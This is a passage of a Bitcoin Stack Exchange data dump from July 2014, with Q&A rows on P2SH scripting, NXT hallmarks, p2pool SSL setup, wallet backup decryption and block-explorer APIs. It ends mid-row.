  <row Id="29502" PostTypeId="1" CreationDate="2014-07-15T20:49:11.173" Score="3" ViewCount="179" Body="&lt;p&gt;I have read the following: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0016.mediawiki&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bips/blob/master/bip-0016.mediawiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://darkwallet.is/bip16-17&quot; rel=&quot;nofollow&quot;&gt;https://darkwallet.is/bip16-17&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would like to know, can one specify a pay-to-script hash that includes another pay-to-script hash? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.G. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Script for payer: &#xA;DUP HASH160  EQUALVERIFY CHECKSIG&lt;/p&gt;&#xA;&#xA;&lt;p&gt;scriptA: &#xA;DUP HASH160  EQUALVERIFY CHECKSIG&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can one include a CHECKSIG operation for another script inside a script referred to by a pay-to-script hash? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm probably not communicating this clearly, but I would basically like to know whether I can &quot;daisy-chain&quot; pay-to-script hashes together. &#xA;Let me know if I should add more examples, or what changes I should make to this. &lt;/p&gt;&#xA;" OwnerUserId="18602" LastEditorUserId="2306" LastEditDate="2014-12-13T05:58:14.750" LastActivityDate="2014-12-13T05:58:14.750" Title="Scripts within Scripts" Tags="|script|p2sh|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29503" PostTypeId="1" CreationDate="2014-07-15T20:55:02.343" Score="1" ViewCount="85" Body="&lt;p&gt;I would like to start a Wallet Protection Service, but simply add myself as a signatory to wallets using the Married Wallets standard. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://groups.google.com/forum/#!topic/bitcoinj/Uxl-z40OLuQ&quot; rel=&quot;nofollow&quot;&gt;https://groups.google.com/forum/#!topic/bitcoinj/Uxl-z40OLuQ&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked at the design documents, but I cannot find a good how-to for creating Pluggable Signers for a Married Wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone done this, that might be willing to offer a brief summary? &lt;/p&gt;&#xA;" OwnerUserId="18602" LastActivityDate="2014-07-15T20:55:02.343" Title="Pluggable Signers for Married Wallet" Tags="|multi-signature|risk-mitigation|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29504" PostTypeId="1" AcceptedAnswerId="29505" CreationDate="2014-07-15T21:32:28.490" Score="3" ViewCount="490" Body="&lt;p&gt;What is the purpose of a hallmark node for NXT?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="1405" LastEditDate="2014-08-19T21:40:30.773" LastActivityDate="2014-08-19T21:40:30.773" Title="What is a hallmark node in NXT (nxtcoin)?" Tags="|nodes|nxt|forging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29505" PostTypeId="2" ParentId="29504" CreationDate="2014-07-15T22:01:30.093" Score="2" Body="&lt;p&gt;From the &lt;a href=&quot;http://wiki.nxtcrypto.org/wiki/How-To:CreateHallmark&quot; rel=&quot;nofollow&quot;&gt;NXT wiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A hallmark is a &quot;stamp of approval&quot; for a Nxt node.  By creating a digital signature based on your IP address and secret passphrase (private key), you are verifying that your account &quot;owns&quot; a node and is accountable for it.  This helps protect the network from attack, and increases the network's trust in your node. You do not need to generate a hallmark if you are a casual Nxt user.  It is a very good idea for those who operate public Nxt nodes on dedicated, public servers. Hallmarks have no impact on forging.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-07-15T22:01:30.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29507" PostTypeId="2" ParentId="8011" CreationDate="2014-07-15T22:19:42.900" Score="0" Body="&lt;p&gt;bitcoind uses a ton of memory while it's downloading the blockchain. Check out these steps on how to set up your swap space correctly on Ubuntu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.digitalocean.com/community/tutorials/how-to-add-swap-on-ubuntu-14-04&quot; rel=&quot;nofollow&quot;&gt;https://www.digitalocean.com/community/tutorials/how-to-add-swap-on-ubuntu-14-04&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, you can check out the torrent download of the blockchain. As long as you trust the file, this can help speed up the time to download the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/bootstrap.dat.torrent/download&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/bootstrap.dat.torrent/download&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3225" LastActivityDate="2014-07-15T22:19:42.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29508" PostTypeId="2" ParentId="23697" CreationDate="2014-07-15T22:22:01.827" Score="1" Body="&lt;p&gt;bitcoind uses a ton of memory while it's downloading the blockchain. Check out these steps on how to set up your swap space correctly on Ubuntu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.digitalocean.com/community/tutorials/how-to-add-swap-on-ubuntu-14-04&quot; rel=&quot;nofollow&quot;&gt;https://www.digitalocean.com/community/tutorials/how-to-add-swap-on-ubuntu-14-04&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, you can check out the torrent download of the blockchain. As long as you trust the file, this can help speed up the time to download the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/bootstrap.dat.torrent/download&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/bootstrap.dat.torrent/download&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3225" LastActivityDate="2014-07-15T22:22:01.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29510" PostTypeId="2" ParentId="28343" CreationDate="2014-07-16T07:20:08.053" Score="1" Body="&lt;p&gt;found out the issue,I'm running bitcoin in testnet while I put server.pem and server.cert in the data dir not under the &quot;testnet3&quot;.As I moved the two files,things be OK. &lt;/p&gt;&#xA;" OwnerUserId="18177" LastActivityDate="2014-07-16T07:20:08.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29511" PostTypeId="1" CreationDate="2014-07-16T07:35:00.847" Score="1" ViewCount="768" Body="&lt;p&gt;Now I have installed bitcoin with config &lt;code&gt;rpcssl=1&lt;/code&gt;, and I have tested the connection with a java application. Everything seemed OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I installed p2pool, and tried to connect to bitcoind (python2.7 run_p2pool.py), and I was faced with the following errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Testing bitcoind RPC connection to 'http://127.0.0.X:8332/' with username 'pool'...&#xA;2014-07-16 15:29:25.036426 &amp;gt; Error while checking Bitcoin connection:&#xA;2014-07-16 15:29:25.036567 &amp;gt; Traceback (most recent call last):&#xA;2014-07-16 15:29:25.036770 &amp;gt; Failure: twisted.internet.error.ConnectionDone: Connection was closed cleanly.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I modified the bitcoin.conf and erased the &lt;code&gt;rpcssl=1&lt;/code&gt; item, restarted bitcoind. Then I run the command, connecting to bitcoind successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I wonder how to config p2pool so that it can connect to bitcoind with HTTPS?&lt;/p&gt;&#xA;" OwnerUserId="18177" LastEditorUserId="15412" LastEditDate="2014-07-16T09:54:01.673" LastActivityDate="2014-07-16T14:02:10.573" Title="how to config p2pool so that it can connect to bitcoind wiht HTTPS?" Tags="|bitcoind|p2pool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29513" PostTypeId="2" ParentId="20305" CreationDate="2014-07-16T09:48:16.280" Score="-4" Body="&lt;p&gt;The first Google hit for &lt;code&gt;vanity address&lt;/code&gt; for me is &lt;a href=&quot;https://en.bitcoin.it/wiki/Vanitygen&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Vanitygen&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you're tired of the random, cryptic addresses generated by regular bitcoin clients, you can use vanitygen to create a more personalized address.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4525" LastEditorUserId="51948" LastEditDate="2017-12-27T10:01:20.633" LastActivityDate="2017-12-27T10:01:20.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29514" PostTypeId="2" ParentId="28343" CreationDate="2014-07-16T13:24:57.163" Score="1" Body="&lt;p&gt;For more information you can follow these instructions&lt;br /&gt;&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Enabling_SSL_on_original_client_daemon&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Enabling_SSL_on_original_client_daemon&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15518" LastActivityDate="2014-07-16T13:24:57.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29515" PostTypeId="2" ParentId="29511" CreationDate="2014-07-16T13:32:01.110" Score="1" Body="&lt;p&gt;For using SSL with Bitcoin follow these instructions: &lt;a href=&quot;https://en.bitcoin.it/wiki/Enabling_SSL_on_original_client_daemon&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Enabling_SSL_on_original_client_daemon&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe your RPC Connection String have connection type &quot;HTTP&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;connection-type = &quot;http&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change &lt;code&gt;http&lt;/code&gt; to &lt;code&gt;https&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="15518" LastEditorUserId="15412" LastEditDate="2014-07-16T14:02:10.573" LastActivityDate="2014-07-16T14:02:10.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29516" PostTypeId="2" ParentId="29502" CreationDate="2014-07-16T15:04:02.580" Score="3" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BIP-16 says that client executes script and if it matches P2SH - removes top item from the stack and executes it as script. That's all. No inner loops and checks.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-07-16T15:04:02.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29518" PostTypeId="1" CreationDate="2014-07-16T20:11:35.607" Score="3" ViewCount="2978" Body="&lt;p&gt;So I dropped my phone in the toilet... Of course I immediately turned it off and went with the rice technique. I realized later that I had coins on my phone on the &lt;a href=&quot;https://github.com/schildbach/bitcoin-wallet&quot; rel=&quot;nofollow&quot;&gt;bitcoin-wallet on android&lt;/a&gt; . Luckily, i was able to turn the phone back on after a day and the first thing I attempted on doing was backup my wallet. I used the back up function and was prompted to enter a password to encrypt with. I did. Then I wanted to decrypt the password (to prove in case of emergency that I could). &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;openssl enc -d -aes-256-cbc -a -in &amp;lt;filename&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When trying this I'm asked for the password, which I give. Then I'm given a bunch of garbage. &#xA;I have found that I'm using version 3.53  . Thanks in advance for the help. &lt;/p&gt;&#xA;" OwnerUserId="18615" LastEditorUserId="5406" LastEditDate="2016-01-05T13:28:46.773" LastActivityDate="2017-08-20T13:12:38.687" Title="Problems decrypting my bitcoin-wallet on android" Tags="|bitcoin-wallet-app|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29519" PostTypeId="2" ParentId="29518" CreationDate="2014-07-16T22:34:36.357" Score="3" Body="&lt;p&gt;If you didn't see the error message &lt;code&gt;bad decrypt&lt;/code&gt;, and if the garbage you saw had the string &lt;code&gt;org.bitcoin.production&lt;/code&gt;, then the decryption worked.  In recent versions of Bitcoin Wallet, as explained in the &lt;a href=&quot;https://github.com/schildbach/bitcoin-wallet/blob/master/wallet/README&quot; rel=&quot;nofollow noreferrer&quot;&gt;README&lt;/a&gt;, the wallet backup is no longer encrypted plain text but a custom protobuf format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can write the decrypted wallet to a file using the &lt;code&gt;-out&lt;/code&gt; option to &lt;code&gt;openssl&lt;/code&gt;, which is probably more useful than dumping it on the screen.  However, if you want to read it or extract the keys manually, you'll probably need special tools, which I am not sure if anyone has written.  See also &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3247/is-there-a-known-way-to-export-my-wallet-private-key-from-the-bitcoin-android?rq=1&quot;&gt;Is there a known way to export my wallet private key from the &amp;quot;Bitcoin Android&amp;quot; app (com.bitcoinandroid)?&lt;/a&gt;, though it may or may not be current.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you did see the message &lt;code&gt;bad decrypt&lt;/code&gt; then you got the password wrong.  Try other variants.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The intended way to use the encrypted backup file is simply to copy it back onto your phone and restore it into the Bitcoin Wallet app with the &quot;Safety:Restore Wallet&quot; option.  You don't need to manually decrypt it with openssl unless you are trying to do something fancy.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2014-07-16T23:09:35.613" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29520" PostTypeId="1" AcceptedAnswerId="29521" CreationDate="2014-07-16T22:54:08.243" Score="0" ViewCount="75" Body="&lt;p&gt;So let's assume I don't care about energy consumption and mining the famous reward for discovered block. Is it possible to set up a workstation optimized to harvest just the transaction fees? Do I need to participate in a pool and run mining software? &lt;/p&gt;&#xA;" OwnerUserId="18581" LastActivityDate="2014-07-16T23:08:20.153" Title="Harvesting transaction fees" Tags="|transactions|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29521" PostTypeId="2" ParentId="29520" CreationDate="2014-07-16T23:08:20.153" Score="0" Body="&lt;p&gt;No, it doesn't work like that.  The fee for a transaction can only be collected by a miner who creates a block including the transaction.  Creating a block also entitles a miner to collect the &quot;famous&quot; block reward (they could decline to collect it, but that would be stupid).  There is no easier way to collect transaction fees; you have to mine like any other miner (either solo or in a pool), and at least for Bitcoin, you can't economically do that with ordinary computer workstations.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-07-16T23:08:20.153" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="29523" PostTypeId="1" CreationDate="2014-07-17T00:21:08.827" Score="2" ViewCount="316" Body="&lt;p&gt;The wallet shows that the transaction has not been broadcasted yet with 0 of 6 confirmations. My wallet is stuck on a block right now.&lt;/p&gt;&#xA;" OwnerUserId="18619" LastEditorUserId="5406" LastEditDate="2015-01-18T12:42:45.503" LastActivityDate="2015-01-18T12:42:45.503" Title="I sent bitcoin from my BitcoinQt wallet while it was unsynced to another wallet, do I have to wait for it to sync?" Tags="|transactions|bitcoin-core|synchronization|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29525" PostTypeId="1" CreationDate="2014-07-17T03:12:51.820" Score="2" ViewCount="233" Body="&lt;p&gt;The MultiBit website &lt;a href=&quot;https://multibit.org/blog/2014/03/17/multibit-hd-sneak-preview.html&quot; rel=&quot;nofollow&quot;&gt;mentions&lt;/a&gt; Bitcoin amounts being showns as &quot;mikes&quot;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Everybody has a different way of wanting to display their balances and this is especially true when dealing with different countries and languages. Users of MultiBit HD can now fine tune their own display to exactly match what they want. Support is in place for millis, mikes and satoshis along with different presentation styles including the icon, &quot;BTC&quot; and &quot;XBT&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What is a &quot;mike&quot; and why is it named such?&lt;/p&gt;&#xA;" OwnerUserId="238" LastEditorUserId="5406" LastEditDate="2015-06-01T09:35:27.903" LastActivityDate="2016-12-06T07:48:49.853" Title="What is a &quot;mike&quot;?" Tags="|terminology|divisibility|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29526" PostTypeId="2" ParentId="29525" CreationDate="2014-07-17T03:18:53.177" Score="5" Body="&lt;p&gt;One &lt;strong&gt;&lt;em&gt;mike&lt;/em&gt;&lt;/strong&gt; is one microbitcoin, i.e. 0.000001 BTC or 100 satoshis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's called like that only because it sounds similar. &lt;/p&gt;&#xA;" OwnerUserId="8901" LastEditorUserId="5406" LastEditDate="2015-02-21T14:36:25.293" LastActivityDate="2015-02-21T14:36:25.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29527" PostTypeId="1" CreationDate="2014-07-17T03:41:03.527" Score="1" ViewCount="51" Body="&lt;p&gt;I've always wondered, how do devs developing on Bitcoin upgrade the system without affecting the live network? We typically see a site under maintenance when big companies revamp their site, but how does Bitcoin do it? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-07-17T06:13:25.857" Title="how do devs upgrade bitcoin core without affecting the live active network?" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29528" PostTypeId="2" ParentId="29527" CreationDate="2014-07-17T06:13:25.857" Score="2" Body="&lt;p&gt;Most network changes are totally backward-compatible. When two Bitcoin nodes first contact each other, they tell each other the latest protocol version they support. They then use the &lt;em&gt;oldest&lt;/em&gt; version of the two. In this way, even really old clients can connect to the network because all other nodes will switch to the old protocol version when talking to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Occasionally, it's necessary for all miners or (extremely rarely) all Bitcoin users to change some network rule at the same time to prevent the network from splitting in two. This is done by adding the change to the code, but only activating it at some particular time some weeks/months/years after the change is added. After the time has elapsed, most people will have upgraded to the new version of Bitcoin, and doing the change will cause minimal disruption. Instead of updating at a particular time, changes can sometimes also be activated when nodes detect via info inserted into the block chain that most other nodes have upgraded.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2014-07-17T06:13:25.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29529" PostTypeId="1" AcceptedAnswerId="30096" CreationDate="2014-07-17T09:00:38.207" Score="2" ViewCount="907" Body="&lt;p&gt;Importing a private using the debug console causes a crash, I always have to kill from shell the bitcoin-qt app and restart it.&#xA;Is there any way to prevent this? &#xA;Is there a way to import the private key into qt client from shell?&lt;/p&gt;&#xA;" OwnerUserId="18370" LastEditorUserId="5406" LastEditDate="2016-08-19T08:46:56.357" LastActivityDate="2016-08-19T08:46:56.357" Title="Bitcoin-qt import private key crash" Tags="|bitcoin-core|import|rescan|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29530" PostTypeId="1" AcceptedAnswerId="29558" CreationDate="2014-07-17T09:08:47.887" Score="2" ViewCount="395" Body="&lt;p&gt;It has been stated that ripple reaches to consensus with mathematical certainty.&#xA;If we analyze the consensus protocol, we can see that a specific validator can have a very narrow view of the state of the rest of the validators. At least 80% of his unl list must have proposed to include the transaction. Each of them received from 70% of their unl list such a proposal etc....  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless all those nodes represent the 80% of the unl list of any validator, one cannot assume that the initial validator has knowledge there has been a global consensus on the new ledger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A problematic example is a unl graph whose directed distance is more than 6 and has low connectivity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this correct? if true what are the assumptions ripple makes on the unl graph so that the above happens?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: wouldn't 2 disconnected networks reach to 2 different consensi, and thus have complete luck of knowledge of the second consensus? If we assume a graph and 2 subgraphs that are connected but have a core that is far away from their boundary. A validator that is inside that core, it will assume that consensus has been reached and only the validators at the boundary will know that there is no consensus.  In other words, shouldn't the unl list be build by a uniform random selection of all the trustworthy validators,or there is chance to not be able to detect the absense of consensus? &lt;/p&gt;&#xA;" OwnerUserId="18624" LastEditorUserId="18624" LastEditDate="2014-07-18T04:13:45.597" LastActivityDate="2014-07-18T04:13:45.597" Title="ripple consensus - mathematical certainty for all unl graphs?" Tags="|ripple|consensus|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29531" PostTypeId="1" CreationDate="2014-07-17T10:49:38.767" Score="1" ViewCount="968" Body="&lt;p&gt;This is an odd one. I am running bitcoind 0.9.1 on Ubuntu 14.04 and have this behaviour:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoind getinfo&#xA;error: couldn't connect to server&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(timeout after 30s)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ curl --data-binary '{&quot;jsonrpc&quot;: &quot;1.0&quot;, &quot;id&quot;:&quot;curltest&quot;, &quot;method&quot;: &quot;getinfo&quot;, &quot;params&quot;: [] }' -H 'content-type: text/plain;' http://user:pass@localhost:8332/&#xA;{&quot;result&quot;:{&quot;version&quot;:90100,&quot;protocolversion&quot;:70002,&quot;walletversion&quot;:60000,&quot;balance&quot;:0.00000000,&quot;blocks&quot;:311140,&quot;timeoffset&quot;:0,&quot;connections&quot;:13,&quot;proxy&quot;:&quot;&quot;,&quot;difficulty&quot;:17336316978.50783157,&quot;testnet&quot;:false,&quot;keypoololdest&quot;:1402698503,&quot;keypoolsize&quot;:102,&quot;paytxfee&quot;:0.00000000,&quot;errors&quot;:&quot;&quot;},&quot;error&quot;:null,&quot;id&quot;:&quot;curltest&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does the bitcoind CLI not connect to the server, but curl does?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Driving me nuts. Something buggy in 0.9.1's JSON-RPC client implementation?&lt;/p&gt;&#xA;" OwnerUserId="18626" LastActivityDate="2014-07-17T11:02:06.730" Title="JSON-RPC &quot;couldn't connect to server&quot; via bitcoind CLI (curl works fine)" Tags="|bitcoind|json-rpc|ubuntu|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29534" PostTypeId="2" ParentId="8439" CreationDate="2014-07-17T12:21:28.920" Score="-2" Body="&lt;p&gt;Very simple answer:&#xA;The reward for Bitcoin Miners had been 50 Bitcoins per Block for the first 210,000 Blocks. For the next 210,000 blocks it is the half of 50 (=25).&#xA;Take the geometric series and you'll be getting the total amount of nearly 21 Million Bitcoins (nearly, because a geometric series converges to his boundary value, but never reaches it!).&lt;/p&gt;&#xA;" OwnerUserId="18629" LastActivityDate="2014-07-17T12:21:28.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29535" PostTypeId="2" ParentId="29529" CreationDate="2014-07-17T12:30:24.803" Score="1" Body="&lt;p&gt;Importing a private key causes a rescan (so that the correct balance will be displayed in your wallet once the import is through), which can make the UI unresponsive until it completes, when executed through the debug console. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Importing your key(s) with &lt;code&gt;rescan&lt;/code&gt; set to &lt;code&gt;false&lt;/code&gt; should fix this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;importprivkey bitcoinprivkey label rescan=false&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-07-17T12:30:24.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29540" PostTypeId="1" AcceptedAnswerId="36000" CreationDate="2014-07-17T14:17:24.727" Score="0" ViewCount="280" Body="&lt;p&gt;I have nxt (nxtcoin) server installed, but since its built completely different from Bitcoin and uses Java. How do you use the command line to control a NXT client to send, generate addresses, etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use this for interfacing with a PHP cms system (drupal) and curious how to interface with the NXT system.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-05-13T08:48:28.203" Title="Manage / run commands in a NXT (nxtcoin) client/server via the command line in Linux?" Tags="|php|nxt|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29541" PostTypeId="1" CreationDate="2014-07-17T15:22:17.613" Score="1" ViewCount="1340" Body="&lt;p&gt;I'd like to create a 3d representation of the market depth graph (of BTC/USD) over time. (the graph here &lt;a href=&quot;https://www.bitstamp.net/market/order_book/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitstamp.net/market/order_book/&lt;/a&gt;) I think it would provide a nice representation of buy/sell walls and price (the trough in the middle) over time. Where can I download this data? A list of all trades won't work, but open orders over time would.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastEditorUserId="2306" LastEditDate="2015-02-14T01:23:44.167" LastActivityDate="2015-03-16T01:38:41.617" Title="Data for market depth over time?" Tags="|market-depth|historical-trade-data|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29542" PostTypeId="2" ParentId="3359" CreationDate="2014-07-17T15:50:41.937" Score="-2" Body="&lt;p&gt;I am using a website called www.planneddeparture.com. It is a Digital Legacy platform that keep all my social media accounts, pics, contacts, docs as well as bitcoins safe. Pretty much like dropbox but with the difference that I can assign beneficiaries and leave them instructions of what to do with my digital belongings when I am gone. I have used it for 2 months now and have assigned beneficiaries to almost all my belongings including my bitcoins. I have read some of the comments and must say that some solutions are quite old fashioned and risky. There are plenty if platform on the web that deal with your digital assets. Have a look and decide for yourself. I happen to use PlannedDeparture and I am feeling quite secure about my bitcoins and other data.&lt;/p&gt;&#xA;" OwnerUserId="18636" LastActivityDate="2014-07-17T15:50:41.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29544" PostTypeId="1" CreationDate="2014-07-17T16:49:58.717" Score="1" ViewCount="80" Body="&lt;p&gt;I'm doing research on Bitcoin and looking for early posts about Bitcoin regarding unfair distribution. I'm sure there were posts arguing the fact that most of the Bitcoins were in the hands of only a handful of early adopters. And how many?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-07-19T05:57:17.550" Title="Where can I find early posts about Bitcoin where trolls are arguing over distribution?" Tags="|wealth-distribution|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29545" PostTypeId="1" CreationDate="2014-07-17T18:38:55.157" Score="5" ViewCount="4536" Body="&lt;p&gt;On blockchain's blockchain api documentation, located here&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://blockchain.info/api/blockchain_api&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is an api call that uses a parameter called block_index. What is this value, and how does it differ from block_height? From playing around with changing the block_index value in the following api call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://blockchain.info/block-index/$block_index?format=json&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems like (imo quite arbitrarily, which adds to my confusion) that block_index 14849 corresponds to the genesis block. Finally, on the api page listed at the top the first example output they show gives a block whose index is 818044, yet when I enter the following api call into my browser's address bar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://blockchain.info/block-index/818044?format=json&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get &quot;Block Not Found&quot;. Is this just a bug in blockchain.info that the example output they provide doesn't actually work, or am I using block_index incorrectly?&lt;/p&gt;&#xA;" OwnerUserId="17080" LastActivityDate="2021-11-17T08:35:59.110" Title="What is a block index in blockchain.info?" Tags="|blockchain.info|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29546" PostTypeId="2" ParentId="12265" CreationDate="2014-07-17T19:39:06.143" Score="2" Body="&lt;p&gt;By using process of elimination , I would do something like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I would reinstall your Bitcoin wallet and see if it works. If it works properly, there was probably a Bitcoind configuration file that was messed around with in your original installation or you were using an outdated version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it still doesn't work, install a Bitcoin wallet on another computer on your network and see if it works. If it works, than probably there was something wrong with the Windows configuration (maybe firewall or antivirus program is blocking access). If it doesn't work, there is something wrong with your network (may be problem in your router, or internet provider)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a side note, I wouldn't recommend running a wallet on Windows XP if you plan to keep any Bitcoins on it, due to it being incredibly insecure since Windows stopped &lt;a 